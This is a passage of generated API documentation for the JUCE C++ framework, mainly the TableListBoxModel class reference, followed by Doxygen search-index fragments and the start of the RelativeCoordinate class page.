class="separator:af31c6c676bb85789dff16226f3493c6b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7941c048bd8e10841dcf7f2acace3656"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a7941c048bd8e10841dcf7f2acace3656">sortOrderChanged</a> (int newSortColumnId, bool isForwards)</td></tr> <tr class="memdesc:a7941c048bd8e10841dcf7f2acace3656"><td class="mdescLeft">&#160;</td><td class="mdescRight">This callback is made when the table's sort order is changed. <a href="#a7941c048bd8e10841dcf7f2acace3656"></a><br/></td></tr> <tr class="separator:a7941c048bd8e10841dcf7f2acace3656"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a625b6fcb1118fbfc63aeade25786eb0b"><td class="memItemLeft" align="right" valign="top">virtual int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a625b6fcb1118fbfc63aeade25786eb0b">getColumnAutoSizeWidth</a> (int columnId)</td></tr> <tr class="memdesc:a625b6fcb1118fbfc63aeade25786eb0b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the best width for one of the columns. <a href="#a625b6fcb1118fbfc63aeade25786eb0b"></a><br/></td></tr> <tr class="separator:a625b6fcb1118fbfc63aeade25786eb0b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a711cb4107a067102737f558711bfe714"><td class="memItemLeft" align="right" valign="top">virtual <a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a711cb4107a067102737f558711bfe714">getCellTooltip</a> (int rowNumber, int columnId)</td></tr> <tr class="memdesc:a711cb4107a067102737f558711bfe714"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a tooltip for a particular cell in the table. <a href="#a711cb4107a067102737f558711bfe714"></a><br/></td></tr> <tr class="separator:a711cb4107a067102737f558711bfe714"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a918995d04263035e52b5e9ca174e7ab6"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a918995d04263035e52b5e9ca174e7ab6">selectedRowsChanged</a> (int lastRowSelected)</td></tr> <tr class="memdesc:a918995d04263035e52b5e9ca174e7ab6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Override this to be informed when rows are selected or deselected. <a href="#a918995d04263035e52b5e9ca174e7ab6"></a><br/></td></tr> <tr class="separator:a918995d04263035e52b5e9ca174e7ab6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5f17bdc591ef08f7b89e65275e22e46f"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a5f17bdc591ef08f7b89e65275e22e46f">deleteKeyPressed</a> (int lastRowSelected)</td></tr> <tr class="memdesc:a5f17bdc591ef08f7b89e65275e22e46f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Override this to be informed when the delete key is pressed. <a href="#a5f17bdc591ef08f7b89e65275e22e46f"></a><br/></td></tr> <tr class="separator:a5f17bdc591ef08f7b89e65275e22e46f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1c622b283ff2dec56f5373ca223544ae"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a1c622b283ff2dec56f5373ca223544ae">returnKeyPressed</a> (int lastRowSelected)</td></tr> <tr class="memdesc:a1c622b283ff2dec56f5373ca223544ae"><td class="mdescLeft">&#160;</td><td class="mdescRight">Override this to be informed when the return key is pressed. <a href="#a1c622b283ff2dec56f5373ca223544ae"></a><br/></td></tr> <tr class="separator:a1c622b283ff2dec56f5373ca223544ae"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4793a06a4dc4f88a2049360f6cd34f83"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a4793a06a4dc4f88a2049360f6cd34f83">listWasScrolled</a> ()</td></tr> <tr class="memdesc:a4793a06a4dc4f88a2049360f6cd34f83"><td class="mdescLeft">&#160;</td><td class="mdescRight">Override this to be informed when the list is scrolled. <a href="#a4793a06a4dc4f88a2049360f6cd34f83"></a><br/></td></tr> <tr class="separator:a4793a06a4dc4f88a2049360f6cd34f83"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a18d18a78f51b26b29a416c1905f31470"><td class="memItemLeft" align="right" valign="top">virtual <a class="el" href="classvar.html">var</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a18d18a78f51b26b29a416c1905f31470">getDragSourceDescription</a> (const <a class="el" href="classSparseSet.html">SparseSet</a>&lt; int &gt; &amp;currentlySelectedRows)</td></tr> <tr class="memdesc:a18d18a78f51b26b29a416c1905f31470"><td class="mdescLeft">&#160;</td><td class="mdescRight">To allow rows from your table to be dragged-and-dropped, implement this method. <a href="#a18d18a78f51b26b29a416c1905f31470"></a><br/></td></tr> <tr class="separator:a18d18a78f51b26b29a416c1905f31470"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>One of these is used by a <a class="el" href="classTableListBox.html" title="A table of cells, using a TableHeaderComponent as its header.">TableListBox</a> as the data model for the table's contents. </p> <p>The virtual methods that you override in this class take care of drawing the table cells, and reacting to events.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classTableListBox.html" title="A table of cells, using a TableHeaderComponent as its header.">TableListBox</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="ab5794e70e60fd8a20e9a7727b58a55d3"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">TableListBoxModel::TableListBoxModel </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> </div> </div> <a class="anchor" id="a69fce53074484eb5388bf99239b1c9a8"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual TableListBoxModel::~TableListBoxModel </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ae7ff7c6523e8113ff1c13b39f7144bf2"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual int TableListBoxModel::getNumRows </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">pure virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This must return the number of rows currently in the table. </p> <p>If the number of rows changes, you must call <a class="el" href="classListBox.html#a3e8cb20434a462c1a102cf62e112e16d" title="Causes the list to refresh its content.">TableListBox::updateContent()</a> to cause it to refresh the list. </p> </div> </div> <a class="anchor" id="a427fdaf7959f3858a7144b490227374a"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::paintRowBackground </td> <td>(</td> <td class="paramtype"><a class="el" href="classGraphics.html">Graphics</a> &amp;&#160;</td> <td class="paramname">, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>rowIsSelected</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">pure virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This must draw the background behind one of the rows in the table. </p> <p>The graphics context has its origin at the row's top-left, and your method should fill the area specified by the width and height parameters.</p> <p>Note that the rowNumber value may be greater than the number of rows in your list, so be careful that you don't assume it's less than <a class="el" href="classTableListBoxModel.html#ae7ff7c6523e8113ff1c13b39f7144bf2" title="This must return the number of rows currently in the table.">getNumRows()</a>. </p> </div> </div> <a class="anchor" id="a46310df3a1b63b4e874f40bb3dfb14f5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::paintCell </td> <td>(</td> <td class="paramtype"><a class="el" href="classGraphics.html">Graphics</a> &amp;&#160;</td> <td class="paramname">, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>rowIsSelected</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">pure virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This must draw one of the cells. </p> <p>The graphics context's origin will already be set to the top-left of the cell, whose size is specified by (width, height).</p> <p>Note that the rowNumber value may be greater than the number of rows in your list, so be careful that you don't assume it's less than <a class="el" href="classTableListBoxModel.html#ae7ff7c6523e8113ff1c13b39f7144bf2" title="This must return the number of rows currently in the table.">getNumRows()</a>. </p> </div> </div> <a class="anchor" id="a07767e4e5a3812e486c187705b0921bd"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual <a class="el" href="classComponent.html">Component</a>* TableListBoxModel::refreshComponentForCell </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>isRowSelected</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classComponent.html">Component</a> *&#160;</td> <td class="paramname"><em>existingComponentToUpdate</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This is used to create or update a custom component to go in a cell. </p> <p>Any cell may contain a custom component, or can just be drawn with the <a class="el" href="classTableListBoxModel.html#a46310df3a1b63b4e874f40bb3dfb14f5" title="This must draw one of the cells.">paintCell()</a> method and handle mouse clicks with <a class="el" href="classTableListBoxModel.html#a6626a7ad733dafebb14f6f11562ea8aa" title="This callback is made when the user clicks on one of the cells in the table.">cellClicked()</a>.</p> <p>This method will be called whenever a custom component might need to be updated - e.g. when the table is changed, or <a class="el" href="classListBox.html#a3e8cb20434a462c1a102cf62e112e16d" title="Causes the list to refresh its content.">TableListBox::updateContent()</a> is called.</p> <p>If you don't need a custom component for the specified cell, then return nullptr. (Bear in mind that even if you're not creating a new component, you may still need to delete existingComponentToUpdate if it's non-null).</p> <p>If you do want a custom component, and the existingComponentToUpdate is null, then this method must create a new component suitable for the cell, and return it.</p> <p>If the existingComponentToUpdate is non-null, it will be a pointer to a component previously created by this method. In this case, the method must either update it to make sure it's correctly representing the given cell (which may be different from the one that the component was created for), or it can delete this component and return a new one. </p> </div> </div> <a class="anchor" id="a6626a7ad733dafebb14f6f11562ea8aa"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::cellClicked </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname">&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This callback is made when the user clicks on one of the cells in the table. </p> <p>The mouse event's coordinates will be relative to the entire table row. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classTableListBoxModel.html#a5de9942dc2f4d78511880d588f2ea137" title="This callback is made when the user clicks on one of the cells in the table.">cellDoubleClicked</a>, <a class="el" href="classTableListBoxModel.html#af31c6c676bb85789dff16226f3493c6b" title="This can be overridden to react to the user double-clicking on a part of the list where there are no ...">backgroundClicked</a> </dd></dl> </div> </div> <a class="anchor" id="a5de9942dc2f4d78511880d588f2ea137"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::cellDoubleClicked </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname">&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This callback is made when the user clicks on one of the cells in the table. </p> <p>The mouse event's coordinates will be relative to the entire table row. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classTableListBoxModel.html#a6626a7ad733dafebb14f6f11562ea8aa" title="This callback is made when the user clicks on one of the cells in the table.">cellClicked</a>, <a class="el" href="classTableListBoxModel.html#af31c6c676bb85789dff16226f3493c6b" title="This can be overridden to react to the user double-clicking on a part of the list where there are no ...">backgroundClicked</a> </dd></dl> </div> </div> <a class="anchor" id="af31c6c676bb85789dff16226f3493c6b"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::backgroundClicked </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This can be overridden to react to the user double-clicking on a part of the list where there are no rows. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classTableListBoxModel.html#a6626a7ad733dafebb14f6f11562ea8aa" title="This callback is made when the user clicks on one of the cells in the table.">cellClicked</a> </dd></dl> </div> </div> <a class="anchor" id="a7941c048bd8e10841dcf7f2acace3656"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::sortOrderChanged </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newSortColumnId</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">bool&#160;</td> <td class="paramname"><em>isForwards</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This callback is made when the table's sort order is changed. </p> <p>This could be because the user has clicked a column header, or because the <a class="el" href="classTableHeaderComponent.html#a51558625c4ed006561e5bf468d5af605" title="Changes the column which is the sort column.">TableHeaderComponent::setSortColumnId()</a> method was called.</p> <p>If you implement this, your method should re-sort the table using the given column as the key. </p> </div> </div> <a class="anchor" id="a625b6fcb1118fbfc63aeade25786eb0b"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual int TableListBoxModel::getColumnAutoSizeWidth </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the best width for one of the columns. </p> <p>If you implement this method, you should measure the width of all the items in this column, and return the best size.</p> <p>Returning 0 means that the column shouldn't be changed.</p> <p>This is used by <a class="el" href="classTableListBox.html#a64d4c5c4a49a07c9dddb5e9def2157a7" title="Resizes a column to fit its contents.">TableListBox::autoSizeColumn()</a> and <a class="el" href="classTableListBox.html#ad007aa31ee166a0d4d69fbe101cb9be8" title="Calls autoSizeColumn() for all columns in the table.">TableListBox::autoSizeAllColumns()</a>. </p> </div> </div> <a class="anchor" id="a711cb4107a067102737f558711bfe714"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual <a class="el" href="classString.html">String</a> TableListBoxModel::getCellTooltip </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>rowNumber</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>columnId</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns a tooltip for a particular cell in the table. </p> </div> </div> <a class="anchor" id="a918995d04263035e52b5e9ca174e7ab6"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::selectedRowsChanged </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>lastRowSelected</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Override this to be informed when rows are selected or deselected. </p> <dl class="section see"><dt>See Also</dt><dd>ListBox::selectedRowsChanged() </dd></dl> </div> </div> <a class="anchor" id="a5f17bdc591ef08f7b89e65275e22e46f"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::deleteKeyPressed </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>lastRowSelected</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Override this to be informed when the delete key is pressed. </p> <dl class="section see"><dt>See Also</dt><dd>ListBox::deleteKeyPressed() </dd></dl> </div> </div> <a class="anchor" id="a1c622b283ff2dec56f5373ca223544ae"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::returnKeyPressed </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>lastRowSelected</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Override this to be informed when the return key is pressed. </p> <dl class="section see"><dt>See Also</dt><dd>ListBox::returnKeyPressed() </dd></dl> </div> </div> <a class="anchor" id="a4793a06a4dc4f88a2049360f6cd34f83"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void TableListBoxModel::listWasScrolled </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Override this to be informed when the list is scrolled. </p> <p>This might be caused by the user moving the scrollbar, or by programmatic changes to the list position. </p> </div> </div> <a class="anchor" id="a18d18a78f51b26b29a416c1905f31470"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual <a class="el" href="classvar.html">var</a> TableListBoxModel::getDragSourceDescription </td> <td>(</td> <td class="paramtype">const <a class="el" href="classSparseSet.html">SparseSet</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>currentlySelectedRows</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>To allow rows from your table to be dragged-and-dropped, implement this method. </p> <p>If this returns a non-null variant then when the user drags a row, the table will try to find a <a class="el" href="classDragAndDropContainer.html" title="Enables drag-and-drop behaviour for a component and all its sub-components.">DragAndDropContainer</a> in its parent hierarchy, and will use it to trigger a drag-and-drop operation, using this string as the source description, and the listbox itself as the source component.</p> <dl class="section see"><dt>See Also</dt><dd>getDragSourceCustomData, <a class="el" href="classDragAndDropContainer.html#a3333f43b55acbf1713ef1036dcb17d44" title="Begins a drag-and-drop operation.">DragAndDropContainer::startDragging</a> </dd></dl> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__TableListBox_8h.html">juce_TableListBox.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['animatedpositionbehaviours',['AnimatedPositionBehaviours',['../namespaceAnimatedPositionBehaviours.html',1,'']]] ]; <file_sep>var searchData= [ ['edgetable',['EdgeTable',['../classEdgeTable.html',1,'']]], ['element',['Element',['../classDrawablePath_1_1ValueTreeWrapper_1_1Element.html',1,'DrawablePath::ValueTreeWrapper']]], ['element',['Element',['../classOSCBundle_1_1Element.html',1,'OSCBundle']]], ['element',['Element',['../classjuce_1_1OSCBundle_1_1Element.html',1,'juce::OSCBundle']]], ['elementbase',['ElementBase',['../classRelativePointPath_1_1ElementBase.html',1,'RelativePointPath']]], ['expression',['Expression',['../classExpression.html',1,'']]], ['extrafunctions',['ExtraFunctions',['../classVSTPluginFormat_1_1ExtraFunctions.html',1,'VSTPluginFormat']]], ['extralookandfeelbaseclasses',['ExtraLookAndFeelBaseClasses',['../structExtraLookAndFeelBaseClasses.html',1,'']]] ]; <file_sep>var searchData= [ ['start_5fjuce_5fapplication',['START_JUCE_APPLICATION',['../juce__Initialisation_8h.html#a10c79cf9cafd40244a741e5945878e79',1,'juce_Initialisation.h']]], ['static_5fjassert',['static_jassert',['../juce__PlatformDefs_8h.html#a0eb872d7ee75ed5bb25589dd175af725',1,'juce_PlatformDefs.h']]] ]; <file_sep>var searchData= [ ['hassharedcontainer',['hasSharedContainer',['../classPluginDescription.html#a87c408ae648128912fc8bb1a0cb9be2d',1,'PluginDescription']]], ['height',['height',['../classImage_1_1BitmapData.html#ac81ba5621e83a0bc7d090bf2a17dcc8a',1,'Image::BitmapData::height()'],['../classImagePixelData.html#af792076cc5a5339766f1efb20592943c',1,'ImagePixelData::height()'],['../structRelativeCoordinate_1_1Strings.html#a35375bd34335440a8b494eeb1fddf99d',1,'RelativeCoordinate::Strings::height()']]], ['homekey',['homeKey',['../classKeyPress.html#ae811d47e771f147a949d1bb818d9c9bb',1,'KeyPress']]], ['honeydew',['honeydew',['../classColours.html#a5f2fec9693dfbde24317fa3fe3d29528',1,'Colours']]], ['hotpink',['hotpink',['../classColours.html#a7f61d3865bb38cd0eecdc7c46ae0e603',1,'Colours']]] ]; <file_sep>var searchData= [ ['videorenderertype',['VideoRendererType',['../classDirectShowComponent.html#aa3d9ec3787a0af2478c59ff11a830f75',1,'DirectShowComponent']]], ['virtualkeyboardtype',['VirtualKeyboardType',['../classTextInputTarget.html#a097550317e3bf2aee470a20540b9edc7',1,'TextInputTarget']]] ]; <file_sep>var searchData= [ ['component',['Component',['../juce__IncludeModuleHeaders_8h.html#a43f72e6eba2a77ceba6172bb1a5e35bf',1,'juce_IncludeModuleHeaders.h']]] ]; <file_sep>var searchData= [ ['standardapplicationcommandids',['StandardApplicationCommandIDs',['../namespaceStandardApplicationCommandIDs.html',1,'']]], ['steinberg',['Steinberg',['../namespaceSteinberg.html',1,'']]] ]; <file_sep>var searchData= [ ['accessmode',['AccessMode',['../classMemoryMappedFile.html#a1fb6563237aaf7bd02f4b30f13b0e2d0',1,'MemoryMappedFile']]], ['alerticontype',['AlertIconType',['../classAlertWindow.html#a2582d1f79937cb47a6a3764c7d9bdba3',1,'AlertWindow']]] ]; <file_sep>var searchData= [ ['audiobusarray',['AudioBusArray',['../classPluginBusUtilities.html#acbba5cdfd7c5fd2795edb7b3e7f3d95c',1,'PluginBusUtilities']]], ['audiosamplebuffer',['AudioSampleBuffer',['../juce__AudioSampleBuffer_8h.html#a97a2916214efbd76c6b870f9c48efba0',1,'juce_AudioSampleBuffer.h']]] ]; <file_sep>var searchData= [ ['rectangletype',['RectangleType',['../classRectangleList.html#ad9d8b465737335563551e5f224fad32f',1,'RectangleList']]], ['referencedtype',['ReferencedType',['../classReferenceCountedObjectPtr.html#aeb4a0ddf04087aa15cf7b607f00c076a',1,'ReferenceCountedObjectPtr']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: RelativeCoordinate Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span 